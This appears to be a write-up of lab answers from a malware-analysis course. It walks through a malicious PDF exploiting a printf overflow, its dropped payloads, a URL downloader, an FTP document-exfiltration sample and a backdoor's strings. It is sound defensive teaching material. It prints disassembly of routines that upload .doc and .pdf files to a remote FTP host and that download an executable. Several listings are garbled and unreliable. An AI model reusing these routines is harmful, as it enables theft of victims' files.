The extracted javascript contains the payload and some pdf version check to filter which pdf reader version can be exploited followed by some standard heapspray and finally the trigger “**util.printf**”. A google search on this printf exploit surfaced the following article from CORE security. CVE-2008-2992 a Printf buffer overflow exploit.



Figure

3. CVE-2008-2992: Printf buffer overflow

ii. How is the shellcode encoded?

Referring to Figure 3, we can easily see that the payload is unicode encoded by the %u symbol. We could convert it using a unicode2raw tool provided in remnux... or you can write your own simple tool to do it.



Figure4. unicode2raw

iii. Which functions does the shellcode manually import?

Before jumping straight into analyze the shellcode, we could use sctest to generate a nice little graph of the piece of shellcode we are analyzing.




Figure 5. scitest and dot




Figure 6. Flow Graph

Notice the GetFileSize at the bottom left, this indicates that the shellcode is attempting to open a file and is using GetFileSize to find the correct file handler. Perhaps more payload is in the file.

using shellcode_launcher.exe provided by the book, we could launch the shellcode in ollydbg with a open file handle to the pdf file.




Figure 7. shellcode_launcher

On running the malware, the program will break automatically. Manually set the new origin to the next instruction to resume program flow as shown below.



Figure 8. Set new origin to jmp instruction

If we look at the handles, we would see that the pdf file is in it as well.

Handle	Type	Ref	Access	Tag	Info	Translated name	Handles
00000004	key	62	00000003			HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File I	
0000000c	#file (dir)	62	00100020			C:\Users\REN\Desktop\Lab19	
00000010	#file (char)	55	00120100			Device\ConDrv	
00000014	#file (char)	64	00120100			Device\ConDrv	
0000001c	#file (char)	63	00120100			Device\ConDrv	
00000020	#file (char)	88	00120100			Device\ConDrv	
00000024	#file (char)	88	00120100			Device\ConDrv	
0000004c	key	64	00000001			HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\control\Session Manager	
00000050	key	64	00002009			HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\control\Nt!Sorting\Versions	
0000006c	key	56	000000ff			HKEY_LOCAL_MACHINE	
00000070	file	33	00120089		size 50690,, pointer c:\Users\REN\Desktop\Lab19\Lab19-B3.pdf		
00000084	key	64	00002009			HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\NetworkProvider\morder	
00000090	file (dev)	33	00120089		size 47104,, pointer c:\Windows\System32\en-US\setupapi.dll.mui		
000000fc	file	64	00120089			Device\DeviceApp	
0000011c	key	63	00000009			HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File I	
00000120	file	64	00120089		size 802,, pointer c:\Users\REN\Desktop\Lab19\shellcode.raw		

Figure 9. File Handle open

Tracing the shellcode we will soon come into the following codes. The code here is trying to find the function address from kernel32.dll by using a computed checksum.

00350278	RE	F4F E84	MOV DWORD PTR SS:[EBP-14],ESI				
0035027C	0975 EC	MOV EDI,ESI					
0035027F	69F7	MOV EBX,ESI					
00350281	69F3	CALL 003501CA					
00350283	E8 42FFFFFF	MOV DWORD PTR SS:[EBP-4],EAX					
00350288	8945 FC	MOV ECX,0E					
0035028B	B9 0E000000	LODS DWORD PTR DS:[ESI]					
00350290	A0	PUSH ECX					
00350291	5A	PUSH DWORD PTR DS:[ESI]					
00350292	FF75 FC	PUSH EDX					
00350295	E8 E4FEFFFF	CALL 0035017E					
00350296	RB	STOS DWORD PTR ES:[EDI]					
00350298	E2 F3	LOOPD SHORT 00350290					
0035029D	68 6C333200	PUSH 323336C					
003502A2	68 7368656C	PUSH 6C6566873					
003502A7	89E0	MOV EAX,ESP					
003502A9	5A	PUSH ESP					
003502A9	FF13	PUSH ECX					
003502AC	91	CALL DWORD PTR DS:[EBX]					
003502C0	A0	XCHG ECX,ECX					
003502C1	5A	LODS DWORD PTR DS:[ESI]					
003502C1	51	PUSH ERK					
003502C9	E8 C9FEFFFF	PUSH ECR					
003502C9	AB	CALL 0035017E					
003502C9	31F6	STOS DWORD PTR ES:[EDI]					
003502C9	8950 EC	XOR ESI,ESI					
003502C9	81C6 84000000	MOV EBX,DWORD PTR SS:[EBP-14]					
003502C1	0045 F8	ADD ESI,4					
003502C1	5A	LEA ERK,DWORD PTR SS:[EBP-8]					
003502C4	5A	PUSH ERK					
003502C5	56	PUSH ESI					
003502C5	FF53 1C	CALL DWORD PTR DS:[EBX+1C]					
003502C9	3B43 3C	CMP EAX,DWORD PTR DS:[EBX+3C]					
003502C9	75 ED	JNC SHORT 003502B8					
003502CE	8975 F8	MOV DWORD PTR SS:[EBP-8],ESI					
003502D1	31D2	XOR EDX,EDX					
003502D3	FF73 44	PUSH DWORD PTR DS:[EBX+44]					
003502D6	52	PUSH EDX					
003502D7	FF53 30	CALL DWORD PTR DS:[EBX+30]					
003502D9	05C0	TEST ERK,ERK					
003502D9	0004 31010000	JE 00350413					
003502E2	8945 F4	MOV DWORD PTR SS:[EBP-C1],ERK					
003502E5	31D2	XOR EDX,EDX					
003502E7	52	PUSH EDX					
003502E8	52	PUSH EDX					
003502E9	FF73 40	PUSH DWORD PTR DS:[EBX+40]					
003502EC	FF75 F9	PUSH DWORD PTR SS:[EBP-8]					
003502EF	FF53 20	CALL DWORD PTR DS:[EBX+20]					
003502F2	FF73 44	PUSH DWORD PTR DS:[EBX+44]					
003502F5	FF75 F4	PUSH DWORD PTR SS:[EBP-C1]					
003502F8	FF75 F8	PUSH DWORD PTR SS:[EBP-8]					
003502FB	FF73 24	PUSH DWORD PTR DS:[EBX+24]					
Address	Value	Comment					
00350109	0000016E						
00350100	7C801078	kernel32.LoadLibraryA					
00350111	7C802368	kernel32.CreateProcess					
00350115	7C801E1A	kernel32.TerminateProcess					
00350119	7C800E9C	kernel32.GetCurrentProcess					
0035011D	7C8090DE	kernel32.GetTempPathA					
00350121	7C8360F5	kernel32.SetCurrentDirectoryA					
00350125	7C801A26	kernel32.CreateFileA					
00350129	7C810980	kernel32.GetFileSize					
0035012D	7C810C1E	kernel32.SetFilePointer					
00350131	7C801812	kernel32.ReadFile					
00350135	7C810E17	kernel32.WriteFile					
00350139	7C809007	kernel32.CloseHandle					
0035013D	7C80F0BD	kernel32.GlobalAlloc					
00350141	7C80FCBF	kernel32.GlobalFree					
00350145	1B1B885E						
00350149	00000602						
0035014D	0000136F						
00350151	00000000						
00350155	00000006F						
00350159	0000144E						

Figure 10. imports

The shellcodes then attempts to Load shell32 library followed by a search for ShellExecuteA as shown in Figure 11 to 13.

Figure 11 shows the assembly view in Immunity Debugger. The assembly window displays the following code snippet:

```

    mov DWORD PTR SS:[EBP-4],EKX
    mov ECX,DE
    mov DWORD PTR DS:[ESI]
    push EKX
    push DWORD PTR SS:[EBP-4]
    call 0035017E
    stos DWORD PTR ED1[ED1]
    loop SHORT 00350290
    push 323362
    push 5C66617B
    mov EKX,ESP
    push EKX
    call 0035017E
    mov ECX,ECX
    mov DWORD PTR DS:[ESI]
    push EKX
    push ECX
    call 0035017E
    mov ESI,ESI
    mov EKX,DWORD PTR SS:[EBP-14]
    add ESI,4
    lea EKX,DWORD PTR SS:[EBP-8]
    push EKX
    push ESI
    call 0035017E
    cmp EKX,DWORD PTR DS:[EBP+1C]
    jne SHORT 003502B0
    mov DWORD PTR SS:[EBP-8],ESI
    add ED1,ED1

```

The registers window shows the following values:

Address	Value	Comment
0035017E	0x41	
00350180	0x21	
00350184	0x21	kernel32!_C0000000
00350188	0x10000000	kernel32!_NodeLeEmptyPoint
00350190	0x10000000	UNICODE "C:\Windows\system32\kernel32.dll"
00350194	0x10000000	UNICODE "kernel32.dll"
00350198	0x10000000	
0035019C	0x10000000	

Figure 11. LoadLibraryA on shell32

Figure 12 shows the assembly view in Immunity Debugger. The assembly window displays the following code snippet:

```

    mov ECX,ECX
    mov DWORD PTR DS:[ESI]
    push EKX
    push ECX
    push ECX
    call 0035017E
    mov ESI,ESI
    mov EKX,DWORD PTR DS:[EBP+4]
    add ESI,4
    lea EKX,DWORD PTR DS:[EBP+4]
    push EKX
    push ESI
    call 0035017E
    cmp EKX,DWORD PTR DS:[EBP+1C]
    jne SHORT 003502B0
    mov DWORD PTR DS:[EBP+4],ESI
    add ED1,ED1

```

The registers window shows the following values:

Address	Value	Comment
0035017E	0x41	
00350180	0x21	
00350184	0x21	kernel32!_C0000000
00350188	0x10000000	kernel32!_NodeLeEmptyPoint
00350190	0x10000000	UNICODE "C:\Windows\system32\kernel32.dll"
00350194	0x10000000	UNICODE "kernel32.dll"
00350198	0x10000000	
0035019C	0x10000000	

Figure 12. finding ShellExecuteA address

Address	Value	Comment
00350101	7CEC81E5	shell32.7CEC81E5
00350105	E8000001	
00350109	0000016E	
0035010D	7C901D7B	kernel32.LoadLibraryA
00350111	7C90236B	kernel32.CreateProcessA
00350115	7C901E1A	kernel32.TerminateProcess
00350119	7C900E85	kernel32.GetCurrentProcess
0035011D	7C835DE2	kernel32.GetTempPathA
00350121	7C9368F5	kernel32.SetCurrentDirectoryA
00350125	7C901A28	kernel32.CreateFileA
00350129	7C910B07	kernel32.GetFileSize
0035012D	7C910C1E	kernel32.SetFilePointer
00350131	7C901812	kernel32.ReadFile
00350135	7C910E17	kernel32.WriteFile
00350139	7C909B07	kernel32.CloseHandle
0035013D	7C90FD80	kernel32.GlobalAlloc
00350141	7C90FCBF	kernel32.GlobalFree
00350145	7CA41150	shell32.ShellExecuteA
00350149	0000C602	
0035014D	0000106F	
00350151	0000A000	
00350155	0000B06F	
00350159	0000144E	
0035015D	749B5756	
00350161	FF310C24	

Figure 13. ShellExecuteA added to list of imports

iv. What filesystem residue does the shellcode leave?

Set breakpoint @ WriteFile and let the shellcode run. As shown in figure 11 and 12, 2 files are dropped on the victim's machine. They are foo.exe and bar.pdf. Both are located in the temp folder as defined in the env variables of the victim's machine.




Figure 14. MZ dropped in Temp\foo.exe




Figure 15. PDF dropped in Temp\bar.pdf

v. What does the shellcode do?

The shellcode attempt to import various functions from kernel32.dll and then using its LoadLibraryA function to load shell32 library to import ShellExecuteA function.

The shellcode then attempts to read the pdf file to extract both the executable payload and a pdf file which are both dropped in the temp folder as foo.exe and bar.pdf respectively.

foo.exe is then executed via CreateProcessA as shwon in Figure 16 and 17.




Figure 16. CreateProcessA for foo.exe




Figure 17. foo.exe

Bar.pdf is then opened via ShellExecuteA. ShellExecuteA uses the victim's default application to open the pdf file.



Figure 18. ShellExecuteA for bar.pdf




Figure 19. bar.pdf pops up

d. The purpose of this first lab is to demonstrate the usage of the thispointer. Analyze the malware in *Lab20-01.exe*.

i- Does the function at 0x401040 take any parameters?

If we examine the main function of 'Lab20-01.exe' (C++ executable) in IDA, we see that this doesn't take any parameters; however, it does take a 'this' pointer. By doing this it knows that the function it will be running is for the created object.

```

; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCnd)
WinMain@16 proc near

var_8= dword ptr -8
var_4= dword ptr -4
hInstance= dword ptr 8
hPrevInstance= dword ptr 0Ch
lpCmdLine= dword ptr 10h
nShowCnd= dword ptr 4h

push    ebp
mov     ebp, esp
sub    esp, 8
push    4
call    ??2AVNPOXIR@ ; operator new(int)
mov    [ebp+var_8], eax
mov    eax, [ebp+var_8]
mov    [ebp+var_4], eax
mov    ecx, [ebp+var_4]
mov    dword ptr [ecx], offset aHttpWww_practi ; "http://www.practicalmalwareanalysis.com"...
mov    ecx, [ebp+var_4]
call    sub_401040
xor    eax, eax
mov    esp, ebp
pop    ebp
ret    10h
WinMain@16 endp

```

One way to identify this is the lack of clear structure being passed, strange duplication of references being stored prior to it, and the result being stored in our 'ecx' register. This is in addition to a URL being moved into our newly created object reference.

ii-Which URL is used in the call to URLDownloadToFile?

At a glance we can see the below URL being moved into 'dword ptr [ecx]':

- <http://www.practicalmalwareanalysis.com/cpp.html>

```

mov    ecx, [ebp+var_4]
mov    dword ptr [ecx], offset aHttpWww_practi ; "http://www.practicalmalwareanalysis.com"...
mov    ecx, [ebp+var_4]
call    sub_401040
xor    eax, eax
mov    esp, ebp

```

Based on this we know that the URL <http://www.practicalmalwareanalysis.com/cpp.html> is being stored at the start of our newly created object. By examining 'sub_401040', we can see that the object passed in our 'this' pointer is being stored in [ebp+var_4].

```

; Attributes: bp-based frame

sub_401040 proc near

var_4= dword ptr -4

push    ebp
mov     ebp, esp
push    ecx
mov     [ebp+var_4], ecx
push    0          ; LPBINDSTATUSCALLBACK
push    0          ; DWORD
push    offset aCEmpdownload_e ; "c:\tempdownload.exe"
mov     eax, [ebp+var_4]
mov     ecx, [eax]
push    ecx          ; LPCSTR
push    0          ; LPUNKNOWN
call    URLDownloadToFileA
mov     esp, ebp
pop    ebp
retn
sub_401040 endp

```

This is then being referenced, and the start of our object is being accessed as the LPCSTR entry passed to [URLDownloadToFile](#). In this case it is the URL and FileName respectively which is pushed to the calling object stack shortly before execution.

iii-What does this program do?

The program is contained solely within what we've discussed in the previous 2 questions. From what we've seen, this program will download a file from <http://www.practicalmalwareanalysis.com/cpp.html> and save it on the local machine to a file called c:\tempdownload.exe

e. Analyze the malware In Lab20-02.exe.

i-What can you learn from the interesting strings in this program?

If we run strings over this executable, we can see a number of interesting entries, including what looks to be evidence this is made using C++, possible imports associated with network connections and FTP operations, and strings that indicate the program likely functions as an FTP client which is looking for .doc and .pdf files to send back to <ftp://practicalmalwareanalysis.com>.

```
strings Lab20-02.exe
```

```
floating point not loaded
Microsoft Visual C++ Runtime Library
Runtime Error!
Program:
...
<program name unknown>
GetLastActivePopup
GetActiveWindow
MessageBoxA
user32.dll
?L@ ;L@ oN@ sN@ FindNextFileA
FindClose
FindFirstFileA
KERNEL32.dll
InternetCloseHandle
FtpPutFileA
FtpSetCurrentDirectoryA
InetNnnerConnectW
InternetOpenA
WININET.dll
WS2_32.dll
HeapAlloc
GetModuleHandleA
GetStartupInfoA
GetCommandLineA
GetVersion
ExitProcess
HeapDestroy
HeapCreate
VirtualFree
HeapFree
VirtualAlloc
HeapReAlloc
TerminateProcess
GetCurrentProcess
UnhandledExceptionFilter
GetModuleFileNameA
FreeEnvironmentStringsA
FreeEnvironmentStringsW
WideCharToMultiByte
GetEnvironmentStrings
GetEnvironmentStringsW
SetHandleCount
GetStdHandle
GetFileType
RtlUnwind
WriteFile
GetLastError
SetFilePointer
GetCPIinfo
GetACP
GetOEMCP
GetProcAddress
LoadLibraryA
SetStdHandle
MultiByteToWideChar
LCMapStringA
LCMapStringW
GetStringTypeA
GetStringTypeW
FlushFileBuffers
CloseHandle
.pdf
.doc
zs-zd.pdf
pdfs
ftp.practicalmalwareanalysis.com
Home ftp client
zs-zd.doc
docs
..\\*
a.r2
```

ii-What do the imports tell you about this program?

Opening this in PE-bear, we can see that this is importing functions from WININET.dll which look to be associated with FTP operations. This leads us to believe the program will function as a FTP client, further backing up our hypothesis from question 1.

Offset	Name	Func. Count	Bound?	OriginalFirstThunk	TimeDateStamp	Forwarder	NameRVA	FirstThunk
64C4	KERNEL32.dll	44	FALSE	6514	0	0	661A	6000
64D8	WININET.dll	5	FALSE	65C8	0	0	668A	60B4
64EC	WS2_32.dll	2	FALSE	65E0	0	0	6696	60CC

WININET.dll [5 entries]						
Call via	Name	Ordinal	Original Thunk	Thunk	Forwarder	Hint
60B4	InternetCloseH...	-	6628	6628	-	58
60B8	FtpPutFileA	-	663E	663E	-	28
60BC	InternetOpenA	-	667A	667A	-	6F
60C0	InternetConnectA	-	6666	6666	-	5A
60C4	FtpSetCurrentDi...	-	664C	664C	-	2E

Examining the imports from KERNEL32.dll we also see what looks to be API calls associated with finding files which match a certain parameter on a system.


Offset	Name	Func. Count	Bound?	OriginalFirstThunk	TimeDateStamp	Forwarder	NameRVA	FirstThunk
64C4	KERNEL32.dll	44	FALSE	6514	0	0	661A	6000
64D8	WININET.dll	5	FALSE	65C8	0	0	668A	60B4
64EC	WS2_32.dll	2	FALSE	65E0	0	0	6696	60CC

KERNEL32.dll [44 entries]						
Call via	Name	Ordinal	Original Thunk	Thunk	Forwarder	Hint
6000	FindNextFileA	-	65EC	65EC	-	90
6004	FindClose	-	65FC	65FC	-	90
6008	FindFirstFileA	-	6608	6608	-	94
600C	FlushFileBuffers	-	6944	6944	-	AA
6010	GetStringTypeW	-	6932	6932	-	156
6014	GetStringTypeA	-	6920	6920	-	153
6018	LCMapStringW	-	6910	6910	-	1C0
601C	LCMapStringA	-	6900	6900	-	1BF
6020	MultiByteToWide...	-	68EA	68EA	-	1E4
6024	SetStdHandle	-	68DA	68DA	-	27C
6028	LoadLibraryA	-	68CA	68CA	-	1C2


Based on these imports it looks like this program will search for files on a system, and at some stage send them to a remote FTP server.

iii-What is the purpose of the object created at 0x4011D9? Does it have any virtual functions?


If we examine 0x4011D9, we can see that this occurs directly after a comparison which looks to be searching for a .doc file. We can also see checks on one branch which may be looking for a .pdf file.




Of interest in the above is that after an object is created, for what looks to be a .doc file being found, there are 2 sets of 'mov' operations occurring directly after one another.



This looks to first create an object and store a reference to it into [ebp+var_15C]. This is then stored in a pointer to [edx] and [eax]. Immediately after this we see what looks to be a virtual function table 'offset off_4060DC' being written to the object's first offset. If we examine cross-references to 'off_4060DC', we can see that this looks to be a virtual function given it is only referenced by an offset rather than a 'call' instruction.




Based on this it appears that the purpose of this object is to act as a reference to a '.doc' file which has been found. Looking back at assembly operations performed prior to these operations shows calls to functions which help to back up this hypothesis. These back up our hypothesis given the malware would need to find a file before creating an object as a reference to the file.




iv-Which functions could possibly be called by the call [edx] instruction at 0x401349?

Taking a look at the call [edx] instruction at '0x401349', we can see that 3 possible objects are being created. The 3 objects being created are for a PDF file, DOC file, and a file that is neither of these being found on disk. From here we see evidence of Virtual Function Tables being setup, until all the references to a created object merge into a single reference to '[ebp+var_148]'.



Taking a step back, what we're really interested in is the possible virtual functions that different objects would call, which in this case is at 'off_4060DC', 'off_4060D8', and 'off_4060E0' (remember that these all point to the first function in the virtual function table for our created objects).



If we take a look at what these offsets point to, we can see that they point to

- sub_401380
- sub_401440
- '?2!_Init_locks@std@@QAE@XZ' (Name mangling has occurred. This tells us the original class was 'std' with a function name of '_Init_locks'. A quick search reveals this is likely an inbuilt C++ function used for creating a lock on an object when it is created)

```

.rdata:004060D8 ;org 40600Bh
*.rdata:004060D8 dd offset sub_401380 ; DATA XREF: sub_401
*.rdata:004060DC dd offset sub_401440 ; DATA XREF: sub_401
*.rdata:004060E0 dd offset ??_Init_locks@std@@QAE@XZ
.rdata:004060E0 ; DATA XREF: Sub_401
.rdata:004060E0 ; sub_401000+287To .
.rdata:004060E0 ; std:::Init_locks::
*.rdata:004060E4 align 8
*.rdata:004060F8 db 0FFh ; DATA XREF: <start>

```

If we examine sub_401380, we can see that this looks to be establishing a new connection to a remote FTP server and attempting to place a found PDF file into a 'pdfs' directory.

```

00401380 sub_401380 proc near
00401380
00401380 var_118= dword ptr -118h
00401380 hInternet= dword ptr -114h
00401380 szNewRemoteFile= byte ptr -110h
00401380 hConnect= dword ptr -4
00401380
00401380 push    ebp
00401381 mov     ebp, esp
00401383 sub     esp, 118h
00401389 mov     [ebp+var_118], ecx
0040138F push    0          ; dwFlags
00401391 push    0          ; lpszProxyBypass
00401393 push    0          ; lpszProxy
00401395 push    1          ; dwAccessType
00401397 push    offset szAgent ; "Home ftp client"
0040139C call    ds:InternetOpenA
004013A2 mov     [ebp+hInternet], eax
004013A8 push    0          ; dwContext
004013A0 push    0          ; dwFlags
004013AC push    1          ; dwService
004013AE push    0          ; lpszPassword
004013B0 push    0          ; lpszUserName
004013B2 push    15h        ; nServerPort
004013B4 push    offset szServerName ; "ftp.practicalmalwareanalysis.com"
004013B9 mov     eax, [ebp+hInternet]
004013BF push    eax        ; hInternet
004013C0 call    ds:InternetConnectA
004013C6 mov     [ebp+hConnect], eax
004013C9 push    offset szDirectory ; "pdfs"
004013CE mov     ecx, [ebp+hConnect]
004013D1 push    ecx        ; hConnect
004013D2 call    ds:FtpSetCurrentDirectoryA
004013D8 mov     edx, dword_407A30
004013DE push    edx
004013DF push    offset name
004013E4 push    offset aSD_pdf ; "%s-%d.pdf"
004013E9 lea     eax, [ebp+szNewRemoteFile]
004013EF push    eax        ; CHAR *
004013F0 call    _sprintf
004013F5 add     esp, 10h
004013F8 push    0          ; dwContext
004013FA push    0          ; dwFlags
004013FC lea     ecx, [ebp+szNewRemoteFile]
00401402 push    ecx        ; lpszNewRemoteFile
00401403 mov     edx, [ebp+var_118]
00401409 mov     eax, [edx+4]
0040140C push    eax        ; lpszLocalFile
0040140D mov     ecx, [ebp+hConnect]
00401410 push    ecx        ; hConnect
00401411 call    ds:FtpPutFileA
00401417 mov     edx, [ebp+hConnect]
0040141A push    edx        ; hInternet
0040141B call    ds:InternetCloseHandle
00401421 mov     eax, [ebp+hInternet]
00401427 push    eax        ; hInternet
00401428 call    ds:InternetCloseHandle
0040142E mov     esp, ebp
00401430 pop     ebp
00401431 retn
00401431 sub_401380 endp

```

If we examine sub_401440, we can see that this looks to be establishing a new connection to a remote FTP server and attempting to place a found DOC file into a 'docs' directory.

```

00401440 sub_401440 proc near
00401440
00401440 var_118= dword ptr -118h
00401440 hInternet= dword ptr -114h
00401440 szNewRemoteFile= byte ptr -110h
00401440 hConnect= dword ptr -4
00401440
00401440 push    ebp
00401441 mov     ebp, esp
00401443 sub     esp, 118h
00401449 mov     [ebp+var_118], ecx
0040144F push    0          ; dwFlags
00401451 push    0          ; lpszProxyBypass
00401453 push    0          ; lpszProxy
00401455 push    1          ; dwAccessType
00401457 push    offset szAgent ; "None ftp client"
0040145C call    ds:InternetOpenA
00401462 mov     [ebp+hInternet], eax
00401468 push    0          ; dwContext
0040146A push    0          ; dwFlags
0040146C push    1          ; dwService
0040146E push    0          ; lpszPassword
00401470 push    0          ; lpszUserName
00401472 push    15h        ; nServerPort
00401474 push    offset szServerName ; "Ftp.practicalmalwareanalysis.com"
00401479 mov     eax, [ebp+hInternet]
0040147F push    eax        ; hInternet
00401480 call    ds:InternetConnectA
00401486 mov     [ebp+hConnect], eax
00401489 push    offset aDocs  ; "docs"
0040148E mov     ecx, [ebp+hConnect]
00401491 push    ecx        ; hConnect
00401492 call    ds:FtpSetCurrentDirectoryA
00401498 mov     edx, dword_407A30
0040149E push    edx
0040149F push    offset name
004014A4 push    offset aSD_doc ; "%s-%d.doc"
004014A9 lea     eax, [ebp+szNewRemoteFile]
004014AF push    eax        ; char *
004014B0 call    _sprintf
004014B5 add     esp, 10h
004014B8 push    0          ; dwContext
004014B9 push    0          ; dwFlags
004014BC lea     eax, [ebp+szNewRemoteFile]
004014C2 push    eax        ; lpszNewRemoteFile
004014C3 mov     edx, [ebp+var_118]
004014C9 mov     eax, [edx+4]
004014CC push    eax        ; lpszLocalFile
004014CD mov     ecx, [ebp+hConnect]
004014D0 push    ecx        ; hConnect
004014D1 call    ds:FtpPutFileA
004014D7 mov     edx, [ebp+hConnect]
004014DA push    edx        ; hInternet
004014DB call    ds:InternetCloseHandle
004014E1 mov     eax, [ebp+hInternet]
004014E7 push    eax        ; hInternet
004014E8 call    ds:InternetCloseHandle
004014EE mov     esp, ebp
004014F0 pop     ebp
004014F1 retn
004014F1 sub    401440 endp


```

Based on this we know what functions could be called by the call [edx] instruction at 0x401349.


v-How could you easily set up the server that this malware expects in order to fully analyze the malware without connecting it to the Internet?

Given we know that this is expecting an FTP server to be present at [ftp.practicalmalwareanalysis.com](ftp://practicalmalwareanalysis.com) for exfiltration, we can setup a local ftp server using software such as [XAMPP](#) or [FileZilla](#) and then redirect any calls for that domain to our local host like we've done in previous labs.

We know based on what was found in question 4 that this doesn't look to be authenticating to the ftp server in question. Due to this we will first need to enable an 'anonymous' user account on our FTP server and ensure it doesn't require a password. In addition we will need to configure the home directory where captured files will be sent.



After doing this we can fire up ApateDNS, our FTP Server, and logon to the admin interface of our FTP server to track what is being sent to it. By running the program we can see DNS requests being made which are redirected to our own host. From here the program begins to establish a FTP connection, store the file found, and then disconnects from the FTP server causing a number of connections to occur.



This also highlights that the malware is attempting to store each type of file found in a folder called 'docs' or 'pdfs' depending on the extension being exfiltrated. This backs up what we found in our previous analysis.

By performing these actions, we are able to fully analyse the malware without connecting it to the internet.

vi-What is the purpose of this program?

The purpose of this program is to find .pdf and .doc files on your system and exfiltrate these to a remote FTP server at [ftp.practicalmalwareanalysis.com](ftp://ftp.practicalmalwareanalysis.com).

vii-What is the purpose of implementing a virtual function call in this program?

By implementing virtual functions the program is able to perform different actions depending on the object file extension found on the host. In this case the different functions were to specify what directory exfiltrated files would be stored in.

f. Analyze the malware in Lab20-03.exe.

i-What can you learn from the interesting strings in this program?

By running strings against this binary we can begin to infer what it may be used for and what functionality it may have.

```
strings Lab20-03.exe
```

First off we see it is likely written in C++ and can present a message popup to the user.

```
floating point not handled
Microsoft Visual C++ Runtime Library
Runtime Error!
Program:
...
<program name unknown>
GetLastActivePopup
GetActiveWindow
MessageBoxA
user32.dll
<8A
```

Next up we see what looks to be a number of imported APIs giving this the ability to read files, create files, get access to the user context it is running under, make network connections, terminate itself, understand what process it is running under, and load further libraries.

The screenshot shows a list of imported API functions from the kernel32.dll library. Several functions are highlighted with red boxes, including ReadFile, WriteFile, GetProcAddress, LoadLibraryA, and SetHandleHandle. Other functions like Sleep, GetFileSize, CreateFileA, GetUserNameA, GetComputerNameA, CreateProcessA, GetLastError, GetSystemDefaultLCID, GetVersionExA, RtlUnwind, HeapFree, HeapAlloc, GetCommandLineA, GetVersion, ExitProcess, TerminateProcess, GetCurrentProcess, IsBadWritePtr, UnhandledExceptionFilter, GetModuleFileNameA, FreeEnvironmentStringsA, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStrings, GetEnvironmentStringsW, SetHandleCount, GetStdHandle, GetFileType, GetStartupInfoA, SetFilePointer, FlushFileBuffers, IsBadReadPtr, IsBadCodePtr, GetStringTypeA, GetStringTypeW, LCMMapStringA, LCMMapStringW, GetCPIInfo, GetACP, GetOEMCP, GetProcAddress, LoadLibraryA, SetHandleHandle, and 0:e.

```
#H
Sleep
ReadFile
CloseHandle
GetFileSize
CreateFileA
WriteFile
GetSystemDefaultLCID
GetVersionExA
GetComputerNameA
CreateProcessA
GetLastError
KERNEL32.dll
GetUserNameA
USERAPI32.dll
MS2_32.dll
MultiByteToWideChar
RaiseException
RtlUnwind
HeapFree
HeapAlloc
GetCommandLineA
GetVersion
ExitProcess
TerminateProcess
GetCurrentProcess
IsBadWritePtr
HeapSize
SetUnhandledExceptionFilter
HeapDestroy
HeapCreate
VirtualFree
VirtualAlloc
IsBadWritePtr
UnhandledExceptionFilter
GetModuleFileNameA
FreeEnvironmentStringsA
FreeEnvironmentStringsW
WideCharToMultiByte
GetEnvironmentStrings
GetEnvironmentStringsW
SetHandleCount
GetStdHandle
GetFileType
GetStartupInfoA
SetFilePointer
FlushFileBuffers
IsBadReadPtr
IsBadCodePtr
GetStringTypeA
GetStringTypeW
LCMapStringA
LCMapStringW
GetCPIInfo
GetACP
GetOEMCP
GetProcAddress
LoadLibraryA
SetHandleHandle
0:e
```

Finally we can see that this looks to perform some Base64-encoding or decoding functions, potentially using a custom index_string, we see reference to remote URIs, a reference to original C++ classes being labelled as a 'BackdoorClient' in addition to 'Polling' and 'Beacon' strings. Further to this we can see this program looks to gather Host/User information, has the ability to upload and download files, the ability to create arbitrary processes, and can make GET/POST requests.

```

L005
L015
ELHONNTJRUHUYC1FCRDNEZU0Qaqxawcdevfrbytnhsgjukilop
ABCDEFGHIJKLMNPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
L100exception
L100Runtime_error@0
L100B64Error@0
L100B64EncodeError@0
L100B64DecodeError@0
L100Base64_Error
L100.html
L100put.html
L100get.html
L100response.html
L100info.html
L100index.html
L100BackdoorClientParentError@0
L100BackdoorClientErrors@0
Beacon response Error
Caught exception during pollstatus: xs
Polling error
xs? id=>x
L100CmdParseError@0
Arg parsing error
xe xe "%xe"
Error uploading file
Error downloading file
user=>xs, host=>xs, Major Version=>xd, Minor Version=>xd, Locale=>xd
Error conducting machine survey
Create Process Failed
Computer=
oslan=
victim=
Failed to gather victim information
L100ReadConfigError@0
Config error
config.dat
L100MaskConfigError@0
Caught exception in main: xs
L100ConnectError@0
L100NetworkError@0
L100SocketError@0
Socket Connection Error
Internet Explorer 10.0
L100ResolveHostError@0
Host lookup failed.
L100SendError@0
L100NotConnectedError@0
Send Data Error
L100HttpResponseError@0
Error reading response
Content-Length:
Error reading response
HTTP/
L100GetError@0
Exception sending Http_get
GET xs HTTP/1.1
HOST: xs
User-Agent: xs
Accept: text/html
Accept-Language: en-uk,en
Accept-Charset: utf-8
Connection: close
Data=
L100PostError@0
POST xs HTTP/1.1
HOST: xs
User-Agent: xs
Content-Length: xd
Content-Type: application/x-www-form-urlencoded
Error sending Http post
L100UsaStartupError@0
Failed to initialize WSA
L100ios_baseexecute
L100basic_ios@0@char_traits@0@std@0@std@0
L100basic_istream@0@char_traits@0@std@0@std@0
L100basic_oostream@0@char_traits@0@std@0@std@0
L100basic_iostreambuf@0@char_traits@0@std@0@std@0
L100basic_filebuf@0@char_traits@0@std@0@std@0
L100basic_streambuf@0@char_traits@0@std@0@std@0
L100logic_error@0@std@0
L100length_error@0@std@0
L100out_of_range@0@std@0
L100failure@ios_base@std@0
L100facet@locale@std@0
L100locinfo@locale@std@0
L100type_info@0

```

Immediately we begin to believe this is some sort of information gathering remote access tool/trojan which provides the ability to exfiltrate files and run commands on a system.

ii-What do the imports tell you about this program?

Opening this in the latest available version of pestudio (in this case 9.09), we can see that a number of imports are already down as 'blacklisted', in addition to some deprecated APIs being used by the program.

name (8)	group (8)	type (1)	ordinal (11)	blacklist (17)	anti-debug (0)	undocumented (0)	deprecated (10)	library (3)
115 (WSASStartup)	network	implicit	x	x				ws2_32.dll
116 (WSACleanup)	network	implicit	x	x				ws2_32.dll
19 (send)	network	implicit	x	x				ws2_32.dll
15 (recv)	network	implicit	x	x				ws2_32.dll
11 (inet_addr)	network	implicit	x	x				ws2_32.dll
